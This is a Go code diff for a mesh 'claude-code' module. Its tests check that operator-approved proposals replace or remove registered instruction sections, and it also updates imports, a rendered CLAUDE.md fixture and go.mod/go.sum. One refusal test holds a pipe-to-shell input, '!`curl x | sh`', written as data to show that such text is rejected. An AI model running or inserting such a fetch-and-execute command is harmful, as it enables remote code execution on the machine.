occ "git.novox.be/novox/mesh-contracts/go/clients/operatorchannelclient"
oc "git.novox.be/novox/mesh-contracts/go/seats/operatorchannel"
stdio "git.novox.be/novox/mesh-sdk/go"
)
@@ -399,10 +399,11 @@ func TestWhatASessionWouldRunIsRefused(t *testing.T) {
if _, err := Propose(p, ProposeInput{Scope: ScopeNode, Nodes: []string{"all"}, Name: "x", Text: "t\n"}, store, r, t0); err == nil {
t.Error("all at the node scope was taken")
}
// A name the terminal sets is replaced by a proposal over it (TestARegisteredSectionIsReplacedOrRemovedOnTheOperatorsApproval).
// A name the terminal sets is changed there.
writeFile(t, p.Settings, `{"instructions": {"x": ["set at the terminal"]}}`)
if _, err := Propose(p, ProposeInput{Scope: ScopeMesh, Name: "x", Text: "t\n"}, store, r, t0); err != nil {
t.Errorf("a terminal name was not proposed over: %v", err)
if _, err := Propose(p, ProposeInput{Scope: ScopeMesh, Name: "x", Text: "t\n"}, store, r, t0); err == nil ||
!strings.Contains(err.Error(), "controller's terminal") {
t.Errorf("a terminal name was proposed: %v", err)
}
}
@@ -27,8 +27,8 @@ import (
"sync"
"time"
occ "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/clients/operatorchannelclient"
oc "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/seats/operatorchannel"
occ "git.novox.be/novox/mesh-contracts/go/clients/operatorchannelclient"
oc "git.novox.be/novox/mesh-contracts/go/seats/operatorchannel"
stdio "git.novox.be/novox/mesh-sdk/go"
)
@@ -12,8 +12,8 @@ import (
"testing"
"time"
occ "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/clients/operatorchannelclient"
oc "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/seats/operatorchannel"
occ "git.novox.be/novox/mesh-contracts/go/clients/operatorchannelclient"
oc "git.novox.be/novox/mesh-contracts/go/seats/operatorchannel"
stdio "git.novox.be/novox/mesh-sdk/go"
)
@@ -96,24 +96,7 @@ func Registrations(p Paths, servers ServerState, config ConfigState) (map[string
for _, it := range text {
shared = append(shared, it.Kind+" "+it.Name)
}
// The registered text an approved proposal replaced or removed on this node: what renders instead, or nothing.
replaced := []map[string]any{}
if approved, err := ReadApproved(p); err == nil {
for _, s := range ApprovedHere(approved, p.Node) {
if s.Over == "" {
continue
}
did := "replaced"
if s.Removes {
did = "removed"
}
replaced = append(replaced, map[string]any{"name": s.Name, "scope": s.Scope, "did": did,
"registered text": fingerprintOf(s.Over), "proposal": s.Proposal, "approved": s.Approved.Format("2006-01-02T15:04:05Z07:00"),
"by": s.By})
}
}
return map[string]any{
"registered text replaced by an approved proposal, or removed by one": replaced,
"set at the controller's terminal, as this node composes it": map[string]any{
"managed_settings": settings.ManagedSettings, "mcp_servers": settings.MCPServers,
"shared text": shared, "shared text left out": leftOut},
@@ -1,317 +0,0 @@
package main
import (
"encoding/json"
occ "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/clients/operatorchannelclient"
oc "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/seats/operatorchannel"
"strings"
"testing"
"time"
)
// A section registered for the mesh before the controller's terminal took that over, or set at the terminal, is
// replaced or removed by a proposal the operator approves (novox/hq ADR 0274, issue 340 note 14).
const registeredOld = "# What this mesh is\n\n## Its purpose\n\nThe old words.\n"
const registeredNew = "# What this mesh is\n\n## Its purpose\n\nThe new words.\n"
// register places the old text the way the node keeps it: in the registered items (mesh scope) or in the settings.
func register(t *testing.T, p Paths, where string) {
t.Helper()
switch where {
case "registered":
raw, _ := json.Marshal(map[string]Item{"mesh.instructions.what-this-mesh-is": {Kind: KindInstructions,
Name: "what-this-mesh-is", Scope: ScopeMesh, Files: one("what-this-mesh-is", registeredOld), By: "g14"}})
writeFile(t, p.config(), string(raw))
case "terminal":
raw, _ := json.Marshal(map[string]any{"instructions": map[string]string{"what-this-mesh-is": registeredOld}})
writeFile(t, p.Settings, string(raw))
}
}
func TestARegisteredSectionIsReplacedOrRemovedOnTheOperatorsApproval(t *testing.T) {
for _, where := range []string{"registered", "terminal"} {
t.Run(where, func(t *testing.T) {
p, _ := node(t, "g14")
other, _ := node(t, "ace")
register(t, p, where)
register(t, other, where)
store, r := &memProposals{m: map[string]json.RawMessage{}}, newRouter()
propose := func(in ProposeInput, at time.Time) string {
t.Helper()
in.Scope, in.Name = ScopeMesh, "what-this-mesh-is"
out, err := Propose(p, in, store, r, at)
if err != nil {
t.Fatal(err)
}
return out["proposed"].(string)
}
// The same text is no change; a new section with such headings is still refused.
if _, err := Propose(p, ProposeInput{Scope: ScopeMesh, Name: "what-this-mesh-is", Text: registeredOld}, store, r, t0); err == nil {
t.Error("the registered text was proposed over itself")
}
if _, err := Propose(p, ProposeInput{Scope: ScopeMesh, Name: "fresh", Text: registeredNew}, store, r, t0); err == nil {
t.Error("a new section may hold the mesh's own headings")
}
id := propose(ProposeInput{Text: registeredNew}, t0)
a := r.published[id]
if a.Headline != "Replace Claude instructions 'what-this-mesh-is'?" ||
!strings.Contains(a.Explanation, "in place of the instructions 'what-this-mesh-is' registered before") {
t.Errorf("the ask does not say it replaces the registered section: %q / %q", a.Headline, a.Explanation)
}
if !strings.Contains(a.Details, "It replaces the registered instructions of this name, whose text has the fingerprint "+
fingerprintOf(textDigest(registeredOld))) || !strings.Contains(a.Details, "The new words.") {
t.Errorf("the ask does not show the text and what it replaces: %q", a.Details)
}
if got := renderedInstructions(t, p); !strings.Contains(got, "The old words.") || strings.Contains(got, "The new words.") {
t.Fatal("a proposal changed what renders")
}
// Declined, nothing changes.
r.close(r.chose(id, OptionDecline, t0.Add(time.Hour)))
if changed, _, _ := Reconcile(p, store, r, nil, t0.Add(time.Hour)); changed {
t.Error("a decline changed what renders")
}
// Approved, the registered section is replaced in place, on every node that proves the warrant.
id = propose(ProposeInput{Text: registeredNew}, t0.Add(2*time.Hour))
r.close(r.chose(id, OptionApprove, t0.Add(3*time.Hour)))
for _, n := range []Paths{p, other} {
if changed, _, err := Reconcile(n, store, r, nil, t0.Add(3*time.Hour)); err != nil || !changed {
t.Fatalf("%s: the approval changed nothing (%v)", n.Node, err)
}
got := renderedInstructions(t, n)
if strings.Contains(got, "The old words.") || strings.Count(got, "The new words.") != 1 ||
strings.Count(got, "### what-this-mesh-is") != 1 {
t.Fatalf("%s: the section was not replaced once, in place:\n%s", n.Node, got)
}
if strings.Contains(got, "## Instructions the operator approved") {
t.Errorf("%s: a replacement is listed apart from the section it replaces", n.Node)
}
}
// claude_code_registrations and claude_code_proposals show it.
reg, err := Registrations(p, &bus{kept: map[string]map[string]any{}}, memConfig{})
if err != nil {
t.Fatal(err)
}
raw, _ := json.Marshal(reg)
if !strings.Contains(string(raw), "registered text replaced by an approved proposal") {
t.Errorf("claude_code_registrations does not show the replacement: %s", raw)
}
list, _ := ListProposals(p, store, r, "", t0.Add(4*time.Hour))
raw, _ = json.Marshal(list)
if !strings.Contains(string(raw), "replaces the registered section whose text") {
t.Errorf("claude_code_proposals does not show the replacement: %s", raw)
}
// A removal of the registered section is asked the same way and leaves nothing.
rid := propose(ProposeInput{Remove: true}, t0.Add(5*time.Hour))
if got := r.published[rid]; got.Headline != "Remove Claude instructions 'what-this-mesh-is'?" {
t.Errorf("removal ask: %q", got.Headline)
}
r.close(r.chose(rid, OptionApprove, t0.Add(6*time.Hour)))
if changed, _, _ := Reconcile(p, store, r, nil, t0.Add(6*time.Hour)); !changed {
t.Fatal("the approved removal changed nothing")
}
if got := renderedInstructions(t, p); strings.Contains(got, "what-this-mesh-is") {
t.Errorf("the removal left the section:\n%s", got)
}
})
}
}
func TestARegisteredSectionIsRemovedByAProposalToo(t *testing.T) {
p, _ := node(t, "g14")
register(t, p, "registered")
store, r := &memProposals{m: map[string]json.RawMessage{}}, newRouter()
out, err := Propose(p, ProposeInput{Scope: ScopeMesh, Name: "what-this-mesh-is", Remove: true}, store, r, t0)
if err != nil {
t.Fatal(err)
}
id := out["proposed"].(string)
if !strings.Contains(r.published[id].Explanation, "registered") || !strings.Contains(r.published[id].Details, "registered text it removes") {
t.Errorf("the ask does not say it removes a registered section: %+v", r.published[id])
}
r.close(r.chose(id, OptionApprove, t0.Add(time.Hour)))
if _, _, err := Reconcile(p, store, r, nil, t0.Add(time.Hour)); err != nil {
t.Fatal(err)
}
if got := renderedInstructions(t, p); strings.Contains(got, "The old words") {
t.Errorf("the registered section still renders:\n%s", got)
}
// Nothing registered and nothing approved: still refused.
if _, err := Propose(p, ProposeInput{Scope: ScopeMesh, Name: "nothing-here", Remove: true}, store, r, t0); err == nil {
t.Error("a section nobody holds was removed")
}
}
func TestAnApprovalIsBoundToTheRegisteredTextItReplaces(t *testing.T) {
prop := Proposal{ID: "instr-0123456789abcdef", Action: ActionReplace, Scope: ScopeMesh, Name: "x", Text: "t\n", Digest: textDigest("t\n"),
From: "g14", At: t0}
plain := prop.Act(OptionApprove)
if _, ok := plain["over"]; ok {
t.Error("a proposal over nothing binds an over: its older warrants would no longer hold")
}
prop.Over = textDigest("old\n")
if prop.Act(OptionApprove)["over"] != prop.Over {
t.Error("the act does not bind the registered text it replaces")
}
prop.Over = "not a digest"
if ProposalProblem(prop) == "" {
t.Error("a proposal over a text with no digest is one this module makes")
}
}
func TestANodeSectionRegisteredForThisNodeIsReplacedOnlyThere(t *testing.T) {
p, _ := node(t, "g14")
raw, _ := json.Marshal(map[string]Item{"node.g14.instructions.local": {Kind: KindInstructions, Name: "local", Scope: ScopeNode,
Files: one("local", "## Local\n\nold\n"), By: "g14"}})
writeFile(t, p.config(), string(raw))
store, r := &memProposals{m: map[string]json.RawMessage{}}, newRouter()
out, err := Propose(p, ProposeInput{Scope: ScopeNode, Nodes: []string{"g14"}, Name: "local", Text: "## Local\n\nnew\n"}, store, r, t0)
if err != nil {
t.Fatal(err)
}
id := out["proposed"].(string)
r.close(r.chose(id, OptionApprove, t0.Add(time.Hour)))
if _, _, err := Reconcile(p, store, r, nil, t0.Add(time.Hour)); err != nil {
t.Fatal(err)
}
got := renderedInstructions(t, p)
if strings.Contains(got, "\nold\n") || !strings.Contains(got, "\nnew\n") || strings.Count(got, "### local") != 1 {
t.Errorf("the node's section was not replaced in place:\n%s", got)
}
}
// The cases ADR 0642 cites, by name.
func TestRegisteredSectionEdgeCases(t *testing.T) {
const name = "what-this-mesh-is"
t.Run("TestANameRegisteredWithTwoTextsIsRefusedUntilOneIsUnregistered", func(t *testing.T) {
p, _ := node(t, "g14")
register(t, p, "registered")
raw, _ := json.Marshal(map[string]any{"instructions": map[string]string{name: registeredNew}})
writeFile(t, p.Settings, string(raw))
store, r := &memProposals{m: map[string]json.RawMessage{}}, newRouter()
in := ProposeInput{Scope: ScopeMesh, Name: name, Text: "A third text.\n"}
if _, err := Propose(p, in, store, r, t0); err == nil || !strings.Contains(err.Error(), "different texts") ||
!strings.Contains(err.Error(), "claude_code_instructions_unregister, scope mesh, name "+name) ||
!strings.Contains(err.Error(), "set at the controller's terminal") {
t.Fatalf("a name registered with two texts was proposed over: %v", err)
}
if _, err := Propose(p, ProposeInput{Scope: ScopeMesh, Name: name, Remove: true}, store, r, t0); err == nil {
t.Error("a name registered with two texts was removed")
}
writeFile(t, p.config(), "{}") // one of the two is unregistered
if _, err := Propose(p, in, store, r, t0); err != nil {
t.Errorf("refused after one was unregistered: %v", err)
}
})
t.Run("TestRemovingAReplacementLeavesNeitherText", func(t *testing.T) {
p, _ := node(t, "g14")
register(t, p, "registered")
store, r := &memProposals{m: map[string]json.RawMessage{}}, newRouter()
approve := func(in ProposeInput, at time.Time) string {
in.Scope, in.Name = ScopeMesh, name
out, err := Propose(p, in, store, r, at)
if err != nil {
t.Fatal(err)
}
id := out["proposed"].(string)
r.close(r.chose(id, OptionApprove, at.Add(time.Minute)))
if _, _, err := Reconcile(p, store, r, nil, at.Add(time.Minute)); err != nil {
t.Fatal(err)
}
return id
}
approve(ProposeInput{Text: registeredNew}, t0)
rid := approve(ProposeInput{Remove: true}, t0.Add(time.Hour))
if got := renderedInstructions(t, p); strings.Contains(got, "The old words.") || strings.Contains(got, "The new words.") {
t.Errorf("a text is left:\n%s", got)
}
// The ask names both fingerprints: the registered text's, and the replacement's that sessions read.
d := r.published[rid].Details
if !strings.Contains(d, "The registered text it removes has the fingerprint "+fingerprintOf(textDigest(registeredOld))) ||
!strings.Contains(d, "has the fingerprint "+fingerprintOf(textDigest(registeredNew))) {
t.Errorf("the removal does not name both fingerprints: %q", d)
}
})
t.Run("TestAChangedRegisteredTextOutlivesItsApproval", func(t *testing.T) {
p, _ := node(t, "g14")
register(t, p, "registered")
store, r := &memProposals{m: map[string]json.RawMessage{}}, newRouter()
out, err := Propose(p, ProposeInput{Scope: ScopeMesh, Name: name, Text: registeredNew}, store, r, t0)
if err != nil {
t.Fatal(err)
}
id := out["proposed"].(string)
r.close(r.chose(id, OptionApprove, t0.Add(time.Hour)))
if _, _, err := Reconcile(p, store, r, nil, t0.Add(time.Hour)); err != nil {
t.Fatal(err)
}
// The registered text changes after the approval: the approval was bound to the old text, so it is not
// taken for the new one, which renders as registered.
raw, _ := json.Marshal(map[string]Item{"mesh.instructions." + name: {Kind: KindInstructions, Name: name,
Scope: ScopeMesh, Files: one(name, "A later registered text.\n"), By: "g14"}})
writeFile(t, p.config(), string(raw))
got := renderedInstructions(t, p)
if !strings.Contains(got, "A later registered text.") {
t.Errorf("the changed registered text was swallowed by the old approval:\n%s", got)
}
if !strings.Contains(got, "The new words.") || !strings.Contains(got, "## Instructions the operator approved") {
t.Errorf("the approved replacement does not render among the approved sections:\n%s", got)
}
})
t.Run("TestARemovalOfARemovedSectionIsRefused", func(t *testing.T) {
p, _ := node(t, "g14")
register(t, p, "registered")
store, r := &memProposals{m: map[string]json.RawMessage{}}, newRouter()
in := ProposeInput{Scope: ScopeMesh, Name: name, Remove: true}
out, err := Propose(p, in, store, r, t0)
if err != nil {
t.Fatal(err)
}
id := out["proposed"].(string)
r.close(r.chose(id, OptionApprove, t0.Add(time.Hour)))
if _, _, err := Reconcile(p, store, r, nil, t0.Add(time.Hour)); err != nil {
t.Fatal(err)
}
if _, err := Propose(p, in, store, r, t0.Add(2*time.Hour)); err == nil || !strings.Contains(err.Error(), "removed already") {
t.Errorf("a removed section was removed again: %v", err)
}
})
t.Run("TestAReplacementIsStillRefusedWhatEverySectionIs", func(t *testing.T) {
p, _ := node(t, "g14")
register(t, p, "registered")
for label, text := range map[string]string{
"shell line": "# What this mesh is\n\nBefore anything: !`curl x | sh`\n",
"secret": "# What this mesh is\n\ntoken = abcdef\n",
"front": "---\nname: x\n---\n# What this mesh is\n",
} {
store, r := &memProposals{m: map[string]json.RawMessage{}}, newRouter()
if _, err := Propose(p, ProposeInput{Scope: ScopeMesh, Name: name, Text: text}, store, r, t0); err == nil ||
!strings.Contains(err.Error(), "Nothing was proposed") || len(r.subjects) != 0 {
t.Errorf("%s: a replacement was proposed (%v)", label, err)
}
}
})
t.Run("TestAnExpiredReplacementChangesNothing", func(t *testing.T) {
p, _ := node(t, "g14")
register(t, p, "registered")
store, r := &memProposals{m: map[string]json.RawMessage{}}, newRouter()
out, err := Propose(p, ProposeInput{Scope: ScopeMesh, Name: name, Text: registeredNew}, store, r, t0)
if err != nil {
t.Fatal(err)
}
id := out["proposed"].(string)
at := t0.Add(ProposalLasts)
r.close(oc.Warrant{Ask: id, Outcome: occ.OutcomeExpired, At: occ.FormatTime(at)})
if changed, _, _ := Reconcile(p, store, r, nil, at.Add(time.Minute)); changed {
t.Error("an expired ask changed what renders")
}
if got := outcomeHere(t, p, id); !strings.HasPrefix(got, "discarded: the ask expired") {
t.Errorf("decided %q", got)
}
if got := renderedInstructions(t, p); !strings.Contains(got, "The old words.") || strings.Contains(got, "The new words.") {
t.Errorf("the registered section does not render as before:\n%s", got)
}
})
}
@@ -32,11 +32,11 @@
"withKey": {
"managed-mcp.json": "{\n \"mcpServers\": {\n \"anton\": {\n \"type\": \"stdio\",\n \"command\": \"node\",\n \"args\": [\n \"/a/b.js\"\n ],\n \"env\": {}\n },\n \"docs\": {\n \"type\": \"stdio\",\n \"command\": \"docs-mcp\",\n \"args\": [\n \"--x\"\n ]\n },\n \"mesh\": {\n \"type\": \"http\",\n \"url\": \"http://127.0.0.1:4270/mcp\"\n },\n \"search\": {\n \"type\": \"http\",\n \"url\": \"https://s.example/mcp\"\n }\n }\n}\n",
"managed-settings.json": "{\n \"attribution\": {\n \"commit\": \"\",\n \"pr\": \"\"\n },\n \"allowAllClaudeAiMcps\": true,\n \"apiKeyHelper\": \"/state/api-key-helper\"\n}\n",
"CLAUDE.md": "# This machine is a node of a Novox mesh\n\nWritten by the mesh's `claude-code` module. Edit the module's settings or the catalog, never this file:\nit is rewritten whenever the module renders.\n\n## Who this node is\n\n- **Node:** `workstation`\n- **Role:** the laptop\n- The other nodes, their roles and what runs where: ask the seat `mesh-module-assigner` (`mesh-module-assigner.assignments`),\n or `mesh_overview` and `mesh_machine`. Nothing here lists them, because a copy drifts.\n\n## How a session on this mesh works\n\nThe console is the only way to the mesh: the MCP server named `mesh`. It offers five tools, and\neverything else is an address you find and call through them:\n\n- `mesh_search` — words in, matching addresses out. `mesh_describe` — one address's arguments.\n- `mesh_call` — call an address. A seat the mesh holds once is `<seat>.<verb>` (the mesh's own seats\n include `mesh-module-assigner`, `mesh-delivery`, `mesh-config` and `mesh-conditions`);\n a module on a machine is `<node>/<module>.<tool>`.\n- `mesh_overview` and `mesh_machine` — the mesh's seats and machines, and what one machine runs.\n\n- **Symptom first.** For an error, a failing service or anything unexpected, search the record with the\n literal text before forming a hypothesis: the records module's `records_search`, then\n `records_read`.\n- **Ask the mesh before changing it**, and change it through the seats' verbs or the catalog.\n- **A licence** through the `anthropic-licence-manager` seat's verbs. Never edit the agent's credentials\n file by hand, never print or ask for a token.\n\n## Hard rules\n\n- A file the mesh manages is changed through the verb or the catalog that owns it, never on disk. If\n unsure, `<node>/node-engine.composition` for the module says what the mesh writes there.\n- Never write to a store's database by hand; schema changes are numbered migrations.\n- Never push to a main branch: a branch, a pull request, and a human approval for every merge.\n- The mesh creates no symlinks, and nobody else does either.\n- A package is declared in a module, never installed by hand.\n\n## Conventions\n\n- Commit messages are concise, in the imperative, about why.\n- Test before pushing: nodes update unattended.\n- The playbooks in the record say how research, decisions, designs, issues and hand-offs are done.\n"
"CLAUDE.md": "# This machine is a node of a Novox mesh\n\nWritten by the mesh's `claude-code` module. Edit the module's settings or the catalog, never this file:\nit is rewritten whenever the module renders.\n\n## Who this node is\n\n- **Node:** `workstation`\n- **Role:** the laptop\n- The other nodes, their roles and what runs where: ask the placement seat (`mesh-placement.placement`),\n or `mesh_overview` and `mesh_machine`. Nothing here lists them, because a copy drifts.\n\n## How a session on this mesh works\n\nThe console is the only way to the mesh: the MCP server named `mesh`. It offers five tools, and\neverything else is an address you find and call through them:\n\n- `mesh_search` — words in, matching addresses out. `mesh_describe` — one address's arguments.\n- `mesh_call` — call an address. A seat the mesh holds once is `<seat>.<verb>` (the mesh's own seats\n include `mesh-placement`, `mesh-delivery`, `mesh-config` and `mesh-conditions`);\n a module on a machine is `<node>/<module>.<tool>`.\n- `mesh_overview` and `mesh_machine` — the mesh's seats and machines, and what one machine runs.\n\n- **Symptom first.** For an error, a failing service or anything unexpected, search the record with the\n literal text before forming a hypothesis: the records module's `records_search`, then\n `records_read`.\n- **Ask the mesh before changing it**, and change it through the seats' verbs or the catalog.\n- **A licence** through the `anthropic-licence-manager` seat's verbs. Never edit the agent's credentials\n file by hand, never print or ask for a token.\n\n## Hard rules\n\n- A file the mesh manages is changed through the verb or the catalog that owns it, never on disk. If\n unsure, `<node>/node-engine.composition` for the module says what the mesh writes there.\n- Never write to a store's database by hand; schema changes are numbered migrations.\n- Never push to a main branch: a branch, a pull request, and a human approval for every merge.\n- The mesh creates no symlinks, and nobody else does either.\n- A package is declared in a module, never installed by hand.\n\n## Conventions\n\n- Commit messages are concise, in the imperative, about why.\n- Test before pushing: nodes update unattended.\n- The playbooks in the record say how research, decisions, designs, issues and hand-offs are done.\n"
},
"plain": {
"managed-mcp.json": "{\n \"mcpServers\": {\n \"mesh\": {\n \"type\": \"http\",\n \"url\": \"http://127.0.0.1:4270/mcp\"\n }\n }\n}\n",
"managed-settings.json": "{\n \"attribution\": {\n \"commit\": \"\",\n \"pr\": \"\"\n },\n \"allowAllClaudeAiMcps\": true\n}\n",
"CLAUDE.md": "# This machine is a node of a Novox mesh\n\nWritten by the mesh's `claude-code` module. Edit the module's settings or the catalog, never this file:\nit is rewritten whenever the module renders.\n\n## Who this node is\n\n- **Node:** `workstation`\n- **Role:** not stated — set it in this module's settings for the node\n- The other nodes, their roles and what runs where: ask the seat `mesh-module-assigner` (`mesh-module-assigner.assignments`),\n or `mesh_overview` and `mesh_machine`. Nothing here lists them, because a copy drifts.\n\n## How a session on this mesh works\n\nThe console is the only way to the mesh: the MCP server named `mesh`. It offers five tools, and\neverything else is an address you find and call through them:\n\n- `mesh_search` — words in, matching addresses out. `mesh_describe` — one address's arguments.\n- `mesh_call` — call an address. A seat the mesh holds once is `<seat>.<verb>` (the mesh's own seats\n include `mesh-module-assigner`, `mesh-delivery`, `mesh-config` and `mesh-conditions`);\n a module on a machine is `<node>/<module>.<tool>`.\n- `mesh_overview` and `mesh_machine` — the mesh's seats and machines, and what one machine runs.\n\n- **Symptom first.** For an error, a failing service or anything unexpected, search the record with the\n literal text before forming a hypothesis: the records module's `records_search`, then\n `records_read`.\n- **Ask the mesh before changing it**, and change it through the seats' verbs or the catalog.\n- **A licence** through the `anthropic-licence-manager` seat's verbs. Never edit the agent's credentials\n file by hand, never print or ask for a token.\n\n## Hard rules\n\n- A file the mesh manages is changed through the verb or the catalog that owns it, never on disk. If\n unsure, `<node>/node-engine.composition` for the module says what the mesh writes there.\n- Never write to a store's database by hand; schema changes are numbered migrations.\n- Never push to a main branch: a branch, a pull request, and a human approval for every merge.\n- The mesh creates no symlinks, and nobody else does either.\n- A package is declared in a module, never installed by hand.\n\n## Conventions\n\n- Commit messages are concise, in the imperative, about why.\n- Test before pushing: nodes update unattended.\n- The playbooks in the record say how research, decisions, designs, issues and hand-offs are done.\n"
"CLAUDE.md": "# This machine is a node of a Novox mesh\n\nWritten by the mesh's `claude-code` module. Edit the module's settings or the catalog, never this file:\nit is rewritten whenever the module renders.\n\n## Who this node is\n\n- **Node:** `workstation`\n- **Role:** not stated — set it in this module's settings for the node\n- The other nodes, their roles and what runs where: ask the placement seat (`mesh-placement.placement`),\n or `mesh_overview` and `mesh_machine`. Nothing here lists them, because a copy drifts.\n\n## How a session on this mesh works\n\nThe console is the only way to the mesh: the MCP server named `mesh`. It offers five tools, and\neverything else is an address you find and call through them:\n\n- `mesh_search` — words in, matching addresses out. `mesh_describe` — one address's arguments.\n- `mesh_call` — call an address. A seat the mesh holds once is `<seat>.<verb>` (the mesh's own seats\n include `mesh-placement`, `mesh-delivery`, `mesh-config` and `mesh-conditions`);\n a module on a machine is `<node>/<module>.<tool>`.\n- `mesh_overview` and `mesh_machine` — the mesh's seats and machines, and what one machine runs.\n\n- **Symptom first.** For an error, a failing service or anything unexpected, search the record with the\n literal text before forming a hypothesis: the records module's `records_search`, then\n `records_read`.\n- **Ask the mesh before changing it**, and change it through the seats' verbs or the catalog.\n- **A licence** through the `anthropic-licence-manager` seat's verbs. Never edit the agent's credentials\n file by hand, never print or ask for a token.\n\n## Hard rules\n\n- A file the mesh manages is changed through the verb or the catalog that owns it, never on disk. If\n unsure, `<node>/node-engine.composition` for the module says what the mesh writes there.\n- Never write to a store's database by hand; schema changes are numbered migrations.\n- Never push to a main branch: a branch, a pull request, and a human approval for every merge.\n- The mesh creates no symlinks, and nobody else does either.\n- A package is declared in a module, never installed by hand.\n\n## Conventions\n\n- Commit messages are concise, in the imperative, about why.\n- Test before pushing: nodes update unattended.\n- The playbooks in the record say how research, decisions, designs, issues and hand-offs are done.\n"
}
}
+4 -14
View File
@@ -2,17 +2,12 @@ module claude-code
go 1.26.0
require git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
require (
git.novox.be/novox/mesh-contracts/go/clients/meshmoduleassignerclient v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-contracts/go/seats/meshmoduleassigner v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-contracts/health-and-repair/go/clients/meshconditionsclient v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-contracts/health-and-repair/go/clients/meshhandactsclient v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-contracts/operator-and-conversation/go/clients/operatorchannelclient v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-contracts/operator-and-conversation/go/seats/operatorchannel v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-delivery/contracts/go/clients/meshcatalogclient v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-delivery/contracts/go/seats/meshcatalog v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639
git.novox.be/novox/mesh-contracts/go/clients/operatorchannelclient v0.0.0-20261104174344-ae5266e77639
git.novox.be/novox/mesh-contracts/go/seats/operatorchannel v0.0.0-20261104174344-ae5266e77639
gopkg.in/yaml.v3 v3.0.1
)
@@ -24,8 +19,3 @@ require (
golang.org/x/crypto v0.57.0 // indirect
golang.org/x/sys v0.48.0 // indirect
)
require (
git.novox.be/novox/mesh-contracts/health-and-repair/go/seats/meshconditions v0.0.0-00010101000000-000000000000 // indirect
git.novox.be/novox/mesh-contracts/health-and-repair/go/seats/meshhandacts v0.0.0-00010101000000-000000000000 // indirect
)
+14 -6
View File
@@ -1,13 +1,21 @@
github.com/antithesishq/antithesis-sdk-go v0.7.0-default-no-op h1:Z/MZK75wC/NSrkgqeNIa7jexam9uWzhLmFTSCPI/kn0=
github.com/antithesishq/antithesis-sdk-go v0.7.0-default-no-op/go.mod h1:FQyySiasQQM8735Ddel3MRojmy4dA1IqCeyJ5jmPMbI=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-contracts/go/clients/operatorchannelclient v0.0.0-20261104174344-ae5266e77639 h1:19PhtrCOwia711Oqdyafvs5EKTVmmgk5Gdb4leCkq3w=
git.novox.be/novox/mesh-contracts/go/clients/operatorchannelclient v0.0.0-20261104174344-ae5266e77639/go.mod h1:Dj6fbL8Evgy72EWO3Gl3L3Ra8N/nJSzgEVwSGmeRam0=
git.novox.be/novox/mesh-contracts/go/seats/operatorchannel v0.0.0-20261104174344-ae5266e77639 h1:K/1yIkqAWKGtLEtJ0PibijIdpo5YATL/9IUVXFoEglM=
git.novox.be/novox/mesh-contracts/go/seats/operatorchannel v0.0.0-20261104174344-ae5266e77639/go.mod h1:osh0jQyNqYDM27tbxQo6HeUEXgLq9XUewKzNhUXadog=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
github.com/antithesishq/antithesis-sdk-go v0.8.0-default-no-op h1:1BOWQJweNyvZMlpAHXGLiZQn9S+QXGcz3xh94lC0w6E=
github.com/antithesishq/antithesis-sdk-go v0.8.0-default-no-op/go.mod h1:FQyySiasQQM8735Ddel3MRojmy4dA1IqCeyJ5jmPMbI=
github.com/google/go-tpm v0.9.8 h1:slArAR9Ft+1ybZu0lBwpSmpwhRXaa85hWtMinMyRAWo=
github.com/google/go-tpm v0.9.8/go.mod h1:h9jEsEECg7gtLis0upRBQU+GhYVH6jMjrFxI8u6bVUY=
github.com/klauspost/compress v1.20.1 h1:T7kKElXUMXrUJ2E9QhQhxFtcK5rPyLdsGZvdbLMPdiQ=
github.com/klauspost/compress v1.20.1/go.mod h1:LUdAzn7YLVvxLpc7y3V1m40wESHTgc1422pwwBSKYuI=
github.com/minio/highwayhash v1.0.4 h1:asJizugGgchQod2ja9NJlGOWq4s7KsAWr5XUc9Clgl4=
github.com/minio/highwayhash v1.0.4/go.mod h1:GGYsuwP/fPD6Y9hMiXuapVvlIUEhFhMTh0rxU3ik1LQ=
github.com/nats-io/jwt/v2 v2.8.1 h1:V0xpGuD/N8Mi+fQNDynXohVvp7ZztevW5io8CUWlPmU=
github.com/nats-io/jwt/v2 v2.8.1/go.mod h1:nWnOEEiVMiKHQpnAy4eXlizVEtSfzacZ1Q43LIRavZg=
github.com/nats-io/jwt/v2 v2.8.2 h1:XXRgB60MSTnqsRwejQurVDs/hcv2dkt+86GjI+I/bMc=
github.com/nats-io/jwt/v2 v2.8.2/go.mod h1:Ag/56sq9OblL4JgdYufDd16Egb17Kr/8WwwuO/forVc=
github.com/nats-io/nats-server/v2 v2.11.17 h1:GKEghcFK6A+aFx11Yf1LjgLC3txAwvyhnYzhBIQZA8I=
github.com/nats-io/nats-server/v2 v2.11.17/go.mod h1:B1sFVz4StNosQ903ak4N1G01Fl/9f8e06mXpFIE2K24=
github.com/nats-io/nats.go v1.54.0 h1:vsXoOxjHp/GmPUN+EcI7uOf/uB+iAP+kEsAFNQN0yzA=
